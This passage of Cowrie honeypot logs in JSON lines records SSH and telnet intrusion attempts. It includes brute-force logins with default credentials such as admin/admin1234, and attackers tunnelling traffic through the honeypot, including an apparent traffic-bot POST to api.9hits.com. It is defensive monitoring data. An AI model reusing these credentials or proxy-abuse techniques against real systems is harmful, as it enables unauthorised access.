\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:07.214572Z","src_ip":"113.164.152.20","session":"b4d09f7b5fee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:07.788311Z","session":"b4d09f7b5fee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:08.081432Z","src_ip":"113.164.152.20","session":"b4d09f7b5fee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x17L\\xc5N\\x89\\xc5Hu~qw\\xfb\\x8bF\\xd1\\xed\\x16|\\xdc\\xbcD\\x017\\xa1O\\xa4\\xee\\x07K\\xf2D\\x04 \\xa3\\xe3\\x96\\xaf\\xea\\x17\\x85\\xefV\\xde\\nA\\x8a&\\x0e\\xec\\xf2\\x90!9\\x0ei\\x86\\t\\x05\\xe1\\x03\\x0c\\x89\\x9c\\x8d\\xb7\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x903\\xb0\\x89Y\\xf2\\xa4\\xbf|\\x88H\\x8e\\xaa\\xfc \\x81\\xbb\\xc5\\xa7\\xa0\\xd9,\\xdb]\\xdb\\xec\\xcb\\xc4\\xe3,\\xa5-\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x17L\\xc5N\\x89\\xc5Hu~qw\\xfb\\x8bF\\xd1\\xed\\x16|\\xdc\\xbcD\\x017\\xa1O\\xa4\\xee\\x07K\\xf2D\\x04 \\xa3\\xe3\\x96\\xaf\\xea\\x17\\x85\\xefV\\xde\\nA\\x8a&\\x0e\\xec\\xf2\\x90!9\\x0ei\\x86\\t\\x05\\xe1\\x03\\x0c\\x89\\x9c\\x8d\\xb7\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x903\\xb0\\x89Y\\xf2\\xa4\\xbf|\\x88H\\x8e\\xaa\\xfc \\x81\\xbb\\xc5\\xa7\\xa0\\xd9,\\xdb]\\xdb\\xec\\xcb\\xc4\\xe3,\\xa5-\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:08.086151Z","src_ip":"113.164.152.20","session":"b4d09f7b5fee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:08.540336Z","src_ip":"113.164.152.20","session":"b4d09f7b5fee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.91807675361633,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:09.774318Z","src_ip":"172.81.62.90","session":"4029345087a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49220,"dst_ip":"159.203.135.109","dst_port":23,"session":"542a976a5bd2","protocol":"telnet","message":"New connection: 128.199.8.54:49220 (159.203.135.109:23) [session: 542a976a5bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:27.214206Z"}
{"eventid":"cowrie.session.closed","duration":47.96562433242798,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:35.427468Z","src_ip":"128.199.8.54","session":"460f267c9c7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":54674,"dst_ip":"10.17.0.5","dst_port":22,"session":"5419f3c2e0ed","protocol":"ssh","message":"New connection: 23.148.145.132:54674 (10.17.0.5:22) [session: 5419f3c2e0ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:49.085976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:49.090677Z","src_ip":"23.148.145.132","session":"5419f3c2e0ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:49.174037Z","src_ip":"23.148.145.132","session":"5419f3c2e0ed","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:51.316223Z","src_ip":"23.148.145.132","session":"5419f3c2e0ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":2079,"dst_ip":"159.203.135.109","dst_port":22,"session":"c63512428d88","protocol":"ssh","message":"New connection: 49.247.37.22:2079 (159.203.135.109:22) [session: c63512428d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:57.580621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:57.586238Z","src_ip":"49.247.37.22","session":"c63512428d88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:57.801947Z","src_ip":"49.247.37.22","session":"c63512428d88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"Admin@123","message":"login attempt [deploy/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:58.686942Z","src_ip":"49.247.37.22","session":"c63512428d88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":62551,"dst_ip":"10.17.0.5","dst_port":22,"session":"00f0dd330338","protocol":"ssh","message":"New connection: 123.27.168.40:62551 (10.17.0.5:22) [session: 00f0dd330338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:59.883825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:59.888948Z","src_ip":"123.27.168.40","session":"00f0dd330338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:33:59.901720Z","src_ip":"49.247.37.22","session":"c63512428d88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:00.268074Z","src_ip":"123.27.168.40","session":"00f0dd330338","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:01.412863Z","src_ip":"123.27.168.40","session":"00f0dd330338","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:01.800227Z","session":"00f0dd330338","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:01.893368Z","session":"00f0dd330338","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:02.049127Z","src_ip":"123.27.168.40","session":"00f0dd330338","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Android 4.2.1; Mobile; rv:77.0) Gecko/77.0 Firefox/77.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1174\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=cWkxRWhlR0Z5bk5YeSFjVQ%3D%3DD1TeTPVsyakWYOUpJeyxemUqoJJOTOwOw97ddzkYxfOn0anF%2FXxBShzDUzcPQ%2Ff9ad1qEZTJRZVAQmrWlKo3wjPxuUcpHbFIWz1xb7I9cxsuLE3cePpLhKJ1ky4d29wCMSBiKsHrKUwFML8%2FYhVCdIExs3lZpLHRzKfh%2BkxQ8QUfNLNPw%2FTBSs7GgFVPl0IO3HRPKAYzedemb9tOmQ4bjTw1fcQqMkJ4TNW1fVCH0M4b2IhBbH0DOu12YGsF1j9RSAuAd3z6f29bMUyw8vCzXaN4GnstcTGq6HE6v97s0qbQiEs%2BsfE0qjv9uWUW8tZ1nKoF1Aw04%2FjNFKl2ql5JGFjD3YYsRgHhblOrKsPubi%2BnnuvAhUX%2FdNecYwCTZrJI%2BlEwMOcN3jbpwhcjO%2B7qa0PP%2BpxocJSGhpRhz1UmNLIvL6DrmKiRFkA3x7hPG%2FV1oPuH%2Bi6qPZ4dk2J9lg89XdHAan7VfGZni9dJAOR0dC%2Bwd8dGH9ajOzejlXHHDFY7knkiKL7WTH2efL6Zho5bZyZi1BAZ%2B97qSC5SqhSbuzvWbGVlC1KPOLN52%2FyCXywnDhxpCfLzebqWc%2B89oAvzySYnTuy5KDA7%2BITaNmpKXaBaPGDKReA%2F894Z46k33bOkzDeh8UqZNnkbqtHxjtzd79QP5IO7Axlk%2FFXCfCGYnXDobj9dC4Yvb4nsl1T7F76KUwpmIArp5HBoSzKW5JcSTJ8XGR4OtjxhoVFzXMDfZu5aJKujSIxacAMPlZsf2%2B3mm2PFaFHQv3cPPIjNLD1WP%2FDcJaxL07WMn%2BmNcHdfT%2BcbUyKJywyWs%2Bredlw37NQE902FPbXqxZwqj%2FMA036Sls8l%2FRbCA6VSI8Bn%2Fao%2FA2gHfb5MHV%2Ff%2FYiOjr4CxWNsdrgfTAuuz72SsOmypiJ8gTYj5Kwj%2BhhfMndQW%2BJiBW2Ome11NmdQoSYjM%2B9DmRfmQOrV933Km%2FoTLGKkJn5lqbIZX88RyHsHm0WuUkIL7LaN2nsYoAuCK0KM7gCYSgNyHOLaJd9O8wYeEsmI%2BcEAaZ97bx9qLyBWzdjgXzdV6kw%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Android 4.2.1; Mobile; rv:77.0) Gecko/77.0 Firefox/77.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1174\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=cWkxRWhlR0Z5bk5YeSFjVQ%3D%3DD1TeTPVsyakWYOUpJeyxemUqoJJOTOwOw97ddzkYxfOn0anF%2FXxBShzDUzcPQ%2Ff9ad1qEZTJRZVAQmrWlKo3wjPxuUcpHbFIWz1xb7I9cxsuLE3cePpLhKJ1ky4d29wCMSBiKsHrKUwFML8%2FYhVCdIExs3lZpLHRzKfh%2BkxQ8QUfNLNPw%2FTBSs7GgFVPl0IO3HRPKAYzedemb9tOmQ4bjTw1fcQqMkJ4TNW1fVCH0M4b2IhBbH0DOu12YGsF1j9RSAuAd3z6f29bMUyw8vCzXaN4GnstcTGq6HE6v97s0qbQiEs%2BsfE0qjv9uWUW8tZ1nKoF1Aw04%2FjNFKl2ql5JGFjD3YYsRgHhblOrKsPubi%2BnnuvAhUX%2FdNecYwCTZrJI%2BlEwMOcN3jbpwhcjO%2B7qa0PP%2BpxocJSGhpRhz1UmNLIvL6DrmKiRFkA3x7hPG%2FV1oPuH%2Bi6qPZ4dk2J9lg89XdHAan7VfGZni9dJAOR0dC%2Bwd8dGH9ajOzejlXHHDFY7knkiKL7WTH2efL6Zho5bZyZi1BAZ%2B97qSC5SqhSbuzvWbGVlC1KPOLN52%2FyCXywnDhxpCfLzebqWc%2B89oAvzySYnTuy5KDA7%2BITaNmpKXaBaPGDKReA%2F894Z46k33bOkzDeh8UqZNnkbqtHxjtzd79QP5IO7Axlk%2FFXCfCGYnXDobj9dC4Yvb4nsl1T7F76KUwpmIArp5HBoSzKW5JcSTJ8XGR4OtjxhoVFzXMDfZu5aJKujSIxacAMPlZsf2%2B3mm2PFaFHQv3cPPIjNLD1WP%2FDcJaxL07WMn%2BmNcHdfT%2BcbUyKJywyWs%2Bredlw37NQE902FPbXqxZwqj%2FMA036Sls8l%2FRbCA6VSI8Bn%2Fao%2FA2gHfb5MHV%2Ff%2FYiOjr4CxWNsdrgfTAuuz72SsOmypiJ8gTYj5Kwj%2BhhfMndQW%2BJiBW2Ome11NmdQoSYjM%2B9DmRfmQOrV933Km%2FoTLGKkJn5lqbIZX88RyHsHm0WuUkIL7LaN2nsYoAuCK0KM7gCYSgNyHOLaJd9O8wYeEsmI%2BcEAaZ97bx9qLyBWzdjgXzdV6kw%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:02.052033Z","src_ip":"123.27.168.40","session":"00f0dd330338","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:02.290851Z","src_ip":"123.27.168.40","session":"00f0dd330338","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb6\\xfe\\xd3<\\xde(\\xfe\\xf8\\x81\\xf1\\xf6K\\x8f,\\xd8\\x89[\\xe3\\x8f\\xffs*\\x89\\x08\\xb31\\xac\\x1c\\xff\\xe6Cc R\\xf8/\\x00N8,\\x0eM\\xc36{\\x1e\\x0f\\xcao\\xda\\xd0\\xc1XFn\\x0c\\x7f0\\xd0\\xc4\\x17!\\xec\\x05\\xd5\\x00 